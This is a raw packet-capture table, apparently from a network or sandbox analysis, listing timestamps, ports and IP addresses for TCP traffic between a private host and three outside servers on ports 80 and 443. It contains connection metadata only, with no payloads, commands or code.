Nov 21, 2024 03:09:23.852361917 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.852406979 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.853159904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.853265047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.853600025 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.854063034 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.854195118 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.854845047 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.855014086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.855088949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.855894089 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.855987072 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.855998993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.856082916 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.856797934 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.856920004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.856969118 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.857728004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.857831955 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.857938051 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.858630896 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.858736038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.858786106 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.859530926 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.859623909 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.859730959 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.860438108 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.860536098 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.860588074 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.861347914 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.861468077 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.861545086 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.862250090 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.862392902 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.862442970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.863209009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.863310099 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.863405943 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.864084959 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.864166975 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.864209890 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.864993095 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.865094900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.865199089 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.865904093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.866003036 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.866050959 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.866803885 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.866910934 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.866962910 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.867712975 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.867818117 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.867861986 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.868606091 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.868729115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.869530916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.869576931 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.869611979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.869649887 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.870440960 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.870557070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.870845079 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.871350050 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.871481895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.872301102 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.872365952 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.872430086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.872476101 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.873203039 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.873310089 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.873353004 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.874125957 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.874274015 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.874321938 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.875046015 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.875164986 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.875257969 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.875936031 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.876075029 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.876127005 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.876853943 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.876966953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.877042055 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.877779007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.877868891 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.878009081 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.878663063 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.878789902 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.878860950 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.879565954 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.879674911 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.879740953 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.880441904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.880503893 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.880548954 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.881367922 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.881506920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.881611109 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.882299900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.882406950 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.883199930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.883261919 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.883291960 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.883330107 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.884092093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.884253025 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.885097027 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.885139942 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.885178089 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.885220051 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.885924101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.886043072 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.886841059 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.886878967 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.886954069 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.886998892 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.887751102 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.887918949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.887954950 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.888652086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.888803959 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.888849020 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.889574051 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.889664888 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.889763117 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.890470028 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.890604019 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.890646935 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.891385078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.891519070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.891565084 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.892292023 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.892400980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.892440081 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.893212080 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.893383980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.893446922 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.894157887 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.894267082 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.894330025 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.895051003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.895128012 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.895299911 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.902139902 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.961904049 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.961963892 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.962035894 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.962363958 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.962486982 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.962542057 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.963376045 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.963423967 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.963494062 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.964454889 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.964526892 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.964536905 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.964579105 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.965481997 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.965576887 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.965595961 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.966511011 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.966564894 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.966603994 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.967570066 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.967643023 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.967669010 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.967858076 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.968600035 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.968686104 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.968710899 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.968760967 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.969659090 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.969774961 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.969774961 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.969819069 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.970686913 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.970774889 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.970793962 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.970854998 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.971740961 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.971793890 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.971844912 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.971951008 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.972767115 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.972877026 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.972925901 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.973818064 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.973869085 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.973917961 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.973972082 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.974881887 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.974982023 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.975032091 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.975929022 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.976033926 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.976077080 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.976937056 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.976978064 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.977016926 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.978018045 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.978072882 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.978080988 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.978339911 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.979063034 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.979111910 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.979151964 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.979197979 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.980070114 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.980117083 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.980165005 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.980214119 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.981110096 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.981158972 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.981168032 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.981209993 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.982162952 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.982274055 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.982325077 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.982343912 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.983201027 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.983261108 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.983306885 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.983323097 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.984237909 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.984304905 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.984344959 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.984388113 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.985328913 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.985363007 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.985375881 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.985409975 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.986325979 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.986373901 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.986433029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.986520052 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.987178087 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.987369061 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.987473011 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.987477064 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.987517118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.988440037 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.988544941 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.988595009 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.989473104 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.989597082 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.989608049 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.989814997 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.990343094 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.990483999 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.990540981 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.990545988 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.990605116 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.990605116 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.990632057 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.990643978 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.990650892 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.990677118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.990911007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.991029978 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.991075039 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.991349936 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.991556883 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.991631031 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.991648912 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.991682053 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.991704941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.991708040 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.992461920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.992562056 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.992578030 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.992636919 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.992655993 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.992707014 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.993347883 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.993530035 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.993537903 CET	49852	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.993568897 CET	443	49852	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.993638039 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.993680954 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.993716002 CET	49852	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.993733883 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.993735075 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.993869066 CET	49852	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.993881941 CET	443	49852	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.994698048 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.994755030 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.994839907 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.994884014 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.995734930 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.995795012 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.995807886 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.995918036 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.996746063 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.996798992 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.996859074 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.996931076 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.997807026 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.997889996 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.997916937 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.997982025 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.998863935 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.998908997 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.998946905 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.998991966 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.999892950 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.999944925 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.999948025 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.999994993 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.000930071 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.000987053 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.001015902 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.001059055 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.002002954 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.002123117 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.002167940 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.003045082 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.003097057 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.003134966 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.003169060 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.004126072 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.004174948 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.004174948 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.004226923 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.005124092 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.005175114 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.005213976 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.005249977 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.006154060 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.006202936 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.006236076 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.006274939 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.007246017 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.007262945 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.007302999 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.007318974 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.008236885 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.008330107 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.008344889 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.008389950 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.009270906 CET	80	49842	154.216.20.78	192.168.2.5
